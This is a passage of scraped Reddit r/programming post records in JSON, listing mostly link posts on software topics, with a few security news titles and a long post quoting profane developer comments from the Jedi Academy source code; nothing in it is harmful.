  "title": "How to Call an API from an Email",
  "body": "\"Interactive emails\" are sort of a hot topic in the ecommerce world. Under the hood they're just a crazy hodgepodge of weird undocumented CSS hacks. I've been researching techniques for the last couple years and finally consolidated some of my favorite tricks in this article. Very cursed, but I hope y'all find it interesting",
  "author": "ricekrispysawdust",
  "subreddit": "programming",
  "score": 405,
  "upvoteRatio": 0.9,
  "numComments": 88,
  "createdAt": "2026-05-21T22:11:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://redo.com/eng-blog/how-to-call-an-api-from-an-email/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjukw0",
  "url": "https://openjdk.org/jeps/8357464",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjukw0/jep_draft_enhanced_local_variable_declarations/",
  "title": "JEP draft: Enhanced Local Variable Declarations (Preview)",
  "body": null,
  "author": "ihatebeinganonymous",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.99,
  "numComments": 26,
  "createdAt": "2026-05-21T19:08:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://openjdk.org/jeps/8357464",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjro3p",
  "url": "https://safedep.io/megalodon-mass-github-repo-backdooring-ci-workflows/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjro3p/mass_github_repo_backdooring_via_ci/",
  "title": "mass github repo backdooring via CI workflows(Megalodon)",
  "body": "automated campaign pushes over 5,700 malicious commits to 5,561 GitHub repositories in just six hours and the attacker using throwaway accounts with random names and forged commit authors like `build-bot`, `auto-ci`, `ci-bot`, and `pipeline-bot` all with messages like \"ci: add build optimization step\" or \"chore: optimize pipeline runtime.\" Basically indistinguishable from routine CI noise.",
  "author": "BattleRemote3157",
  "subreddit": "programming",
  "score": 87,
  "upvoteRatio": 0.93,
  "numComments": 7,
  "createdAt": "2026-05-21T17:30:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/megalodon-mass-github-repo-backdooring-ci-workflows/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjoauj",
  "url": "https://cube.dev/blog/how-semantic-sql-works",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjoauj/building_an_external_query_planner_egraphs/",
  "title": "Building an external query planner: E-Graphs, measure-aware rewriting, and cross-dialect SQL",
  "body": null,
  "author": "keydunov",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.78,
  "numComments": 0,
  "createdAt": "2026-05-21T15:38:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cube.dev/blog/how-semantic-sql-works",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjmukr",
  "url": "https://ryanjk5.github.io/posts/GOLDE/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjmukr/simulating_infinity_in_conways_game_of_life_with/",
  "title": "Simulating Infinity in Conway’s Game of Life with Modern C++",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.83,
  "numComments": 2,
  "createdAt": "2026-05-21T14:49:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ryanjk5.github.io/posts/GOLDE/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjk7x6",
  "url": "https://blog.andr2i.com/posts/2026-05-19-a-regression-in-code-i-didn-t-touch",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjk7x6/a_performance_regression_in_code_i_didnt_touch/",
  "title": "A performance regression in code I didn’t touch: debugging an L1 i-cache associativity issue",
  "body": "It's often being talked about data cache associativity issue, but instruction cache associativity seems to be much less discussed.\n\nI ran into a surprising performance regression that turned out to be caused by L1 instruction cache associativity. This happened in a go codebase, but the underlying issue is language-agnostic.",
  "author": "watman12",
  "subreddit": "programming",
  "score": 128,
  "upvoteRatio": 0.93,
  "numComments": 5,
  "createdAt": "2026-05-21T13:16:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.andr2i.com/posts/2026-05-19-a-regression-in-code-i-didn-t-touch",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjipt8",
  "url": "https://youtu.be/vw2k5WVPJKE?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjipt8/go_for_java_programmers_barry_feigenbaum_shon/",
  "title": "Go for Java Programmers • Barry Feigenbaum & Shon Saliga",
  "body": "Dr. Barry Feigenbaum, an IBM, Amazon and Dell veteran, spent time working with Golang and liked it enough to write the book he wished had existed when he made the switch.",
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-05-21T12:16:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/vw2k5WVPJKE?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tji4b9",
  "url": "https://shopify.engineering/scaling-inventory-reservations",
  "permalink": "https://www.reddit.com/r/programming/comments/1tji4b9/we_replaced_redis_with_mysql_for_inventory/",
  "title": "We replaced Redis with MySQL for inventory reservations — and it scaled",
  "body": null,
  "author": "mlenol",
  "subreddit": "programming",
  "score": 371,
  "upvoteRatio": 0.89,
  "numComments": 38,
  "createdAt": "2026-05-21T11:51:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shopify.engineering/scaling-inventory-reservations",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjhci1",
  "url": "https://youtu.be/cuBtzCEjBiQ",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjhci1/ada_lovelace_questioned_whether_machines_could/",
  "title": "Ada Lovelace questioned whether machines could originate anything — in 1843",
  "body": "“The Analytical Engine has no pretensions whatever to originate anything. It can do whatever we know how to order it to perform.” — Ada Lovelace, 1843\n\nIsn’t it ironic that the first computer programmer was already asking a version of the question we’re still arguing about today: can a machine truly create something new? Ada Lovelace was brilliant, mathematically gifted, and saw the future of computing before computers really existed. She also, somewhat less successfully, tried to apply her mathematical thinking to betting on horses. We made a video about Lovelace, her role in early computing, and why her ideas still feel surprisingly modern.",
  "author": "Anisim_1",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 2,
  "createdAt": "2026-05-21T11:16:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/cuBtzCEjBiQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjh9z7",
  "url": "https://medium.com/@vivek1502/building-an-aws-lambda-like-runtime-with-firecracker-microvms-42a418c6e3d7",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjh9z7/building_a_mini_serverless_platform_with/",
  "title": "Building a mini serverless platform with Firecracker microVMs",
  "body": null,
  "author": "viks98",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.9,
  "numComments": 4,
  "createdAt": "2026-05-21T11:13:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@vivek1502/building-an-aws-lambda-like-runtime-with-firecracker-microvms-42a418c6e3d7",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjh9p9",
  "url": "https://fagnerbrack.com/technical-interviews-reject-the-wrong-engineers-a8e78ca04b2e",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjh9p9/technical_interviews_reject_the_wrong_engineers/",
  "title": "Technical Interviews Reject the Wrong Engineers",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 353,
  "upvoteRatio": 0.87,
  "numComments": 198,
  "createdAt": "2026-05-21T11:12:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/technical-interviews-reject-the-wrong-engineers-a8e78ca04b2e",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjfxb6",
  "url": "https://docs.npmjs.com/staged-publishing",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjfxb6/staged_publishing_for_npm_packages/",
  "title": "Staged publishing for npm packages",
  "body": null,
  "author": "pimterry",
  "subreddit": "programming",
  "score": 87,
  "upvoteRatio": 0.93,
  "numComments": 18,
  "createdAt": "2026-05-21T10:05:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://docs.npmjs.com/staged-publishing",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjf50f",
  "url": "https://leetarxiv.substack.com/p/gauss-lll-sieve",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjf50f/gauss_lattice_sieve_algorithm_from_scratch_in_c/",
  "title": "Gauss Lattice Sieve Algorithm from scratch in C using FLINT",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.69,
  "numComments": 1,
  "createdAt": "2026-05-21T09:23:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/gauss-lll-sieve",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjd6qw",
  "url": "https://blogsystem5.substack.com/p/markdown-based-test-suite",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjd6qw/a_markdownbased_test_suite/",
  "title": "A Markdown-based test suite",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.56,
  "numComments": 8,
  "createdAt": "2026-05-21T07:33:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blogsystem5.substack.com/p/markdown-based-test-suite",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tjayv4",
  "url": "https://thalia.dev/blog/unix-braces/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tjayv4/curly_braces_an_evolution_of_unix_and_c/",
  "title": "Curly braces: An evolution of UNIX and C",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 67,
  "upvoteRatio": 0.94,
  "numComments": 4,
  "createdAt": "2026-05-21T05:35:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thalia.dev/blog/unix-braces/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tj77ww",
  "url": "https://arstechnica.com/security/2026/05/google-publishes-exploit-code-threatening-millions-of-chromium-users/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tj77ww/google_publishes_exploit_code_threatening/",
  "title": "Google publishes exploit code threatening millions of Chromium users",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 259,
  "upvoteRatio": 0.95,
  "numComments": 19,
  "createdAt": "2026-05-21T02:37:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/security/2026/05/google-publishes-exploit-code-threatening-millions-of-chromium-users/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tj1bcs",
  "url": "https://lab174.com/blog/202601-yaml-norway/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tj1bcs/yaml_thats_norway_problem/",
  "title": "YAML? That's Norway problem",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 301,
  "upvoteRatio": 0.9,
  "numComments": 170,
  "createdAt": "2026-05-20T22:29:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lab174.com/blog/202601-yaml-norway/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tj0mwv",
  "url": "https://kant2002.github.io/en/obfuscators/2026/05/20/how-to-build-obfuscator-part-iii.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tj0mwv/how_to_build_net_obfuscator_part_iii/",
  "title": "How to build .NET obfuscator Part III",
  "body": null,
  "author": "kant2002",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.67,
  "numComments": 0,
  "createdAt": "2026-05-20T22:03:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kant2002.github.io/en/obfuscators/2026/05/20/how-to-build-obfuscator-part-iii.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tivw33",
  "url": "https://neciudan.dev/github-actions-poisoning",
  "permalink": "https://www.reddit.com/r/programming/comments/1tivw33/httpsneciudandevgithubactionspoisoning/",
  "title": "https://neciudan.dev/github-actions-poisoning",
  "body": null,
  "author": "creasta29",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 1,
  "createdAt": "2026-05-20T19:18:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://neciudan.dev/github-actions-poisoning",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tioh44",
  "url": "https://www.chiply.dev/post-annotate-in-place",
  "permalink": "https://www.reddit.com/r/programming/comments/1tioh44/annotateinplace_notes_with_emacs_and_orgremark/",
  "title": "Annotate-in-Place Notes with Emacs and org-remark",
  "body": "What makes this pattern so elegant to me is the familiarity of its experience. I don't know about you, but I've been annotating books and taking notes with pencils and pens for almost my entire life, and this is often the most engaging and soul-lifting experience. There is a *je ne sais quoi* in this interaction that makes me feel closer to, if not part of, the thing I'm reading. This is a physical annotate-in-place, and it works beautifully.\n\nI've been long searching for a cognitive bridge between the ergonomics of putting pen to source text with the infinite flexibility of a software solution. annotate-in-place is the pattern that provides that bridge, and org-remark in Emacs is one implementation of that pattern. With it, digital note taking feel as intuitive and ergonomic to me as note taking on a physical medium.",
  "author": "misterchiply",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-05-20T15:06:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chiply.dev/post-annotate-in-place",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1timjny",
  "url": "https://dotat.at/@/2026-01-12-hqlr.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1timjny/hybrid_quotalinear_rate_limiter_tony_finch/",
  "title": "hybrid quota-linear rate limiter – Tony Finch",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.71,
  "numComments": 1,
  "createdAt": "2026-05-20T13:58:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dotat.at/@/2026-01-12-hqlr.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tije8n",
  "url": "https://nicolasfella.de/posts/smoke-tests-for-fun-and-profit/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tije8n/smoke_tests_for_fun_and_profit/",
  "title": "Smoke tests for fun and profit",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.75,
  "numComments": 2,
  "createdAt": "2026-05-20T11:55:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nicolasfella.de/posts/smoke-tests-for-fun-and-profit/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tij6js",
  "url": "https://virtualosmuseum.org",
  "permalink": "https://www.reddit.com/r/programming/comments/1tij6js/virtual_museum_with_every_operating_system_you/",
  "title": "Virtual Museum with Every Operating System You Can Think Of",
  "body": null,
  "author": "MorroWtje",
  "subreddit": "programming",
  "score": 182,
  "upvoteRatio": 0.93,
  "numComments": 33,
  "createdAt": "2026-05-20T11:45:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://virtualosmuseum.org",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tiil62",
  "url": "https://cybersecuritynews.com/nginx-buffer-overflow-vulnerability",
  "permalink": "https://www.reddit.com/r/programming/comments/1tiil62/new_nginx_vulnerability_allows_unauthenticated_rce/",
  "title": "New NGINX Vulnerability Allows Unauthenticated RCE",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 145,
  "upvoteRatio": 0.77,
  "numComments": 32,
  "createdAt": "2026-05-20T11:17:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cybersecuritynews.com/nginx-buffer-overflow-vulnerability",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1thze09",
  "url": "https://krebsonsecurity.com/2026/05/cisa-admin-leaked-aws-govcloud-keys-on-github/",
  "permalink": "https://www.reddit.com/r/programming/comments/1thze09/cisa_accidentally_leaked_their_own_keys_on_github/",
  "title": "CISA accidentally leaked their own keys on GitHub",
  "body": null,
  "author": "PM-ME-UR-DARKNESS",
  "subreddit": "programming",
  "score": 590,
  "upvoteRatio": 0.98,
  "numComments": 39,
  "createdAt": "2026-05-19T20:31:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://krebsonsecurity.com/2026/05/cisa-admin-leaked-aws-govcloud-keys-on-github/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1thx3xb",
  "url": "https://anishathalye.com/inverting-photodna/",
  "permalink": "https://www.reddit.com/r/programming/comments/1thx3xb/inverting_photodna/",
  "title": "Inverting PhotoDNA",
  "body": null,
  "author": "yawara25",
  "subreddit": "programming",
  "score": 78,
  "upvoteRatio": 0.86,
  "numComments": 15,
  "createdAt": "2026-05-19T19:13:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://anishathalye.com/inverting-photodna/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1thv9tj",
  "url": "https://jkm.dev/posts/cities-skylines-trading-market/",
  "permalink": "https://www.reddit.com/r/programming/comments/1thv9tj/how_cities_skylines_uses_a_stockmarket_analogy_to/",
  "title": "How Cities: Skylines uses a stock-market analogy to drive almost everything in the game",
  "body": "I wanted to find out how **Cities: Skylines** drives the constant motion you see in a growing city - residents looking for jobs, tourists visiting attractions, garbage trucks doing their rounds, even cims looking for love - and I couldn’t find much written up about it. So I decompiled the game and dug in. What I found is that almost every interaction in the game runs through a single, elegant system: a stock-market-style trading market.\n\n\\---\n\nI wrote this post a few years back, and recently updated it to add detail to areas I thought lacked sufficient explanation.\n\nI found it really interesting to explore how Colossal Order built such a versatile system, hopefully you will find it an interesting read.\n\nPlease let me know if you have any comments or questions! Thanks for reading.",
  "author": "jkmonger",
  "subreddit": "programming",
  "score": 208,
  "upvoteRatio": 0.96,
  "numComments": 11,
  "createdAt": "2026-05-19T18:12:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jkm.dev/posts/cities-skylines-trading-market/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1thq1un",
  "url": "https://blog.jacobstechtavern.com/p/the-7-deadly-sins-of-cargo-culting",
  "permalink": "https://www.reddit.com/r/programming/comments/1thq1un/the_7_deadly_sins_of_cargo_culting/",
  "title": "The 7 Deadly Sins of Cargo Culting",
  "body": null,
  "author": "jacobs-tech-tavern",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.16,
  "numComments": 5,
  "createdAt": "2026-05-19T15:17:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jacobstechtavern.com/p/the-7-deadly-sins-of-cargo-culting",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1thncdv",
  "url": "https://haskellforall.com/2026/05/type-out-the-code",
  "permalink": "https://www.reddit.com/r/programming/comments/1thncdv/type_out_the_code/",
  "title": "Type out the code",
  "body": null,
  "author": "Tekmo",
  "subreddit": "programming",
  "score": 151,
  "upvoteRatio": 0.92,
  "numComments": 15,
  "createdAt": "2026-05-19T13:40:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://haskellforall.com/2026/05/type-out-the-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1thf964",
  "url": "https://www.seangoedecke.com/the-just-say-no-engineer-was-a-zirp-phenomenon/",
  "permalink": "https://www.reddit.com/r/programming/comments/1thf964/the_justsayno_engineer_was_a_zirp_phenomenon/",
  "title": "The just-say-no engineer was a ZIRP phenomenon",
  "body": null,
  "author": "radozok",
  "subreddit": "programming",
  "score": 250,
  "upvoteRatio": 0.9,
  "numComments": 56,
  "createdAt": "2026-05-19T07:14:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.seangoedecke.com/the-just-say-no-engineer-was-a-zirp-phenomenon/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1thewau",
  "url": "https://github.com/grayj/Jedi-Academy",
  "permalink": "https://www.reddit.com/r/programming/comments/1thewau/raven_software_released_the_jedi_academy_source/",
  "title": "Raven Software released the Jedi Academy source code in 2013 and the dev comments are crunch rage",
  "body": "So I was thinking about JKA, a game I easily had over 10k hours in back when I was a teen, and stumbled across this piece of history.\n\nIt turns out that back in 2013, right when Disney bought Lucasfilm and shut down LucasArts, the devs at Raven Software panicked that their work would get locked in a vault forever. So they hastily dumped the entire source code for Jedi Outcast and Jedi Academy online.\n\nBecause it was a sudden dump, they didn't sanitize any of the internal dev comments. The whole thing is a time capsule of stressed-out programmers losing their minds trying to make lightsaber physics work in the Quake 3 engine.\n\nIf you look at the main combat file (`bg_saber.c`), the entire lightsaber melee system is essentially one massive 5000-line switch spaghetti statement.\n\nI scoured the codebase and found some GOATed comments:\n\n**1. sv\\_savegame.cpp** \\- A dev had to write a fake loading loop just to keep a \"Saving\" popup on the screen long enough for the player to read it.\n\n    // I'm going to jump in front of a fucking bus if I ever have to do something so hacky in the future. \n    int startOfFunction = Sys_Milliseconds(); \n    // ...a few dozen lines later... \n    // The first thing that the deferred script is going to do is to close the \"Saving\" \n    // popup, but we need it to be up for at least a second, so sit here in a fucking \n    // busy-loop. See note at start of function, re: bus.\n\n**2. AI\\_Jedi.cpp** \\- Trying to program bots to use force powers and navigate 3D maps on a 2003 CPU was clearly a bad time.\n\n    { //fuck, jump instead\n    { //fuck it, just force it\n\n**3. Dismemberment (G2\\_bones.cpp)** \\- JKA used a custom skeletal animation system to handle cutting off limbs. Overriding joint angles manually led to this note.\n\n    // why I should need do this Fuck alone knows. But I do.\n\n**4. bg\\_pmove.cpp** \\- Someone spent way too long trying to get character models to stop sliding on flat surfaces.\n\n    { //on ground and not moving and on level ground, no reason to do stupid fucking gravity with the clipvelocity!!!!\n\n**5. NPC\\_reactions.cpp** \\- The actual code logic for when you stand there holding your crosshair directly on a friendly NPC's face.\n\n    //ask them what the fuck they're doing\n\n**6. Quake Math (q\\_math.cpp)** \\- This famous bit hacking trick was inherited directly from John Carmack’s Quake 3 engine. Even the Raven devs reading it years later had no clue how it worked.\n\n    i = 0x5f3759df - ( i >> 1 ); // what the fuck?\n\n**7. mhead.c** \\- When the engine hits corrupted MP3 or WAV file data headers.\n\n    return 0; // fuck knows what this is, but it ain't one of ours...\n\n**8. Fatal crash error (win\\_glimp.cpp)** \\- What happens if the graphics renderer completely fails to load on Windows.\n\n    // error box that'll only appear if something's seriously fucked then I'm going to fallback to\n\n**9. Win32 rage (ModView tool)** \\- Anyone who has fought the Win32 API will appreciate this function name used to force the UI to update the document title bar.\n\n    void FuckingWellSetTheDocumentNameAndDontBloodyIgnoreMeYouCunt(LPCSTR psDocName) {\n        if (gpLastOpenedModViewDoc) {\n            // make absolutely fucking sure this bastard does as it's told...\n            gpLastOpenedModViewDoc->SetTitle(psDocName);\n        }\n    }\n\n**10. wp\\_saber.cpp** \\- When another dev breaks the main header file so you have to manually extern your variables.\n\n    // Need to extern these. We can't #include qcommon.h because some fuckwit\n\n**11. Skeletal mesh constraints (g\\_client.cpp)** \\- Trying to bend the player's spine based on mouse yaw without breaking the hitbox.\n\n    //SIGH... fucks him up BAD \n    // ...18 lines later... \n    //SIGH... spine wiggles fuck all this shit\n\n**12. Fixing multiplayer collision in a singleplayer game (g\\_active.cpp)** \\- The fastest way to fix a physics bug where NPCs were killing each other by clipping into one another.\n\nBecause the Quake 3 engine was built for multiplayer everything is a 'client', they retrofitted it for a single player campaign, and if NPCs bump into each other fast enough they just die. So instead of spending weeks changing the AI pathing they just removed the collision damage with a simple if statement if the two colliding clients were of the NPC type basically.\n\n    {//aw, fuck it, clients no longer take impact damage from other clients, unless you're the player\n\n**13. Vehicle state logic (g\\_vehicles.c)** \\- Handling the logic for when a bike hits a wall.\n\n    {//just get the fuck out\n\n**14. Splash Damage (g\\_mover.c)** \\- Calculating splash damage to players standing near a destructible map object.\n\n    {//just blow the fuck out of them\n\n**15.** [fuck the leap years](https://github.com/grayj/Jedi-Academy/blob/d71d53e8ecc1edd300c7a9dd22b8fbc39c095423/tools/ModView/oldskins.cpp#L596) 😂\n\n**16. Giving up on linear algebra (r\\_surface.cpp)** ModView was the internal tool used to render 3D character models and animations. Dealing with 3D matrix transformations and surface math clearly broke someone's spirit.\n\n>`// Fuck this maths shit, it doesn't work`  \n`// #define real_nclip(x0,y0,x1,y1,x2,y2) ( (y1-y0)*(x2-x1) - (x1-x0)*(y2-y1) )`\n\n**17. Early 2000s hardware rage (textures.cpp)** Hardcode an exception just to stop AMD/ATI graphics cards from crashing the tool.\n\n>`if (error && error != GL_STACK_OVERFLOW /* fucking stupid ATI cards report this for no reason sometimes */ )`\n\n**18. Audio buffer time travel (cl_mp3.org)**\nBecause the engine decodes the compressed audio in 